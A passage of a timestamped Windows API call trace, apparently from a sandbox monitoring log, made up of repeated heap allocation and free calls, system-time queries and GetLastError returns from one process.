dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8583390, dwHighDateTime=0x1d595b2)) [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8583390, dwHighDateTime=0x1d595b2)) [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8583390, dwHighDateTime=0x1d595b2)) [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.444] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8583390, dwHighDateTime=0x1d595b2)) [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.444] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.569] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.573] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.580] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd872e780, dwHighDateTime=0x1d595b2)) [0141.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.625] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd872e780, dwHighDateTime=0x1d595b2)) [0141.625] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.625] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.625] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd872e780, dwHighDateTime=0x1d595b2)) [0141.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.625] GetLastError () returned 0x578 [0141.625] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.625] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.625] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.625] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.625] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.625] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8e0 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de138 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8e0 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de138 | out: hHeap=0x3d0000) returned 1 [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de910 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de910 | out: hHeap=0x3d0000) returned 1 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.626] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8730e90, dwHighDateTime=0x1d595b2)) [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.626] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8730e90, dwHighDateTime=0x1d595b2)) [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.626] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8730e90, dwHighDateTime=0x1d595b2)) [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.626] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8730e90, dwHighDateTime=0x1d595b2)) [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.626] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.626] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8730e90, dwHighDateTime=0x1d595b2)) [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.626] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd87335a0, dwHighDateTime=0x1d595b2)) [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd87335a0, dwHighDateTime=0x1d595b2)) [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.627] GetLastError () returned 0x578 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8e0 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de138 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8e0 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de138 | out: hHeap=0x3d0000) returned 1 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de910 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de910 | out: hHeap=0x3d0000) returned 1 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.627] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8735cb0, dwHighDateTime=0x1d595b2)) [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8735cb0, dwHighDateTime=0x1d595b2)) [0141.627] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8735cb0, dwHighDateTime=0x1d595b2)) [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8735cb0, dwHighDateTime=0x1d595b2)) [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8735cb0, dwHighDateTime=0x1d595b2)) [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8735cb0, dwHighDateTime=0x1d595b2)) [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.628] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8735cb0, dwHighDateTime=0x1d595b2)) [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.628] GetLastError () returned 0x578 [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8e0 [0141.628] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de138 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8e0 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de138 | out: hHeap=0x3d0000) returned 1 [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de910 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de910 | out: hHeap=0x3d0000) returned 1 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd87383c0, dwHighDateTime=0x1d595b2)) [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd87383c0, dwHighDateTime=0x1d595b2)) [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd87383c0, dwHighDateTime=0x1d595b2)) [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd87383c0, dwHighDateTime=0x1d595b2)) [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.629] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873aad0, dwHighDateTime=0x1d595b2)) [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.629] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.630] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873aad0, dwHighDateTime=0x1d595b2)) [0141.630] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.630] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.630] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.630] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.630] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873aad0, dwHighDateTime=0x1d595b2)) [0141.630] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.630] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.630] GetLastError () returned 0x578 [0141.630] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.630] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.630] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.630] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.630] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.630] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.630] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8e0 [0141.630] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.630] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de138 [0141.630] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.630] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8e0 [0141.630] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de138 | out: hHeap=0x3d0000) returned 1 [0141.630] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de910 [0141.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873aad0, dwHighDateTime=0x1d595b2)) [0141.630] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873aad0, dwHighDateTime=0x1d595b2)) [0141.630] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd873aad0, dwHighDateTime=0x1d595b2)) [0141.630] 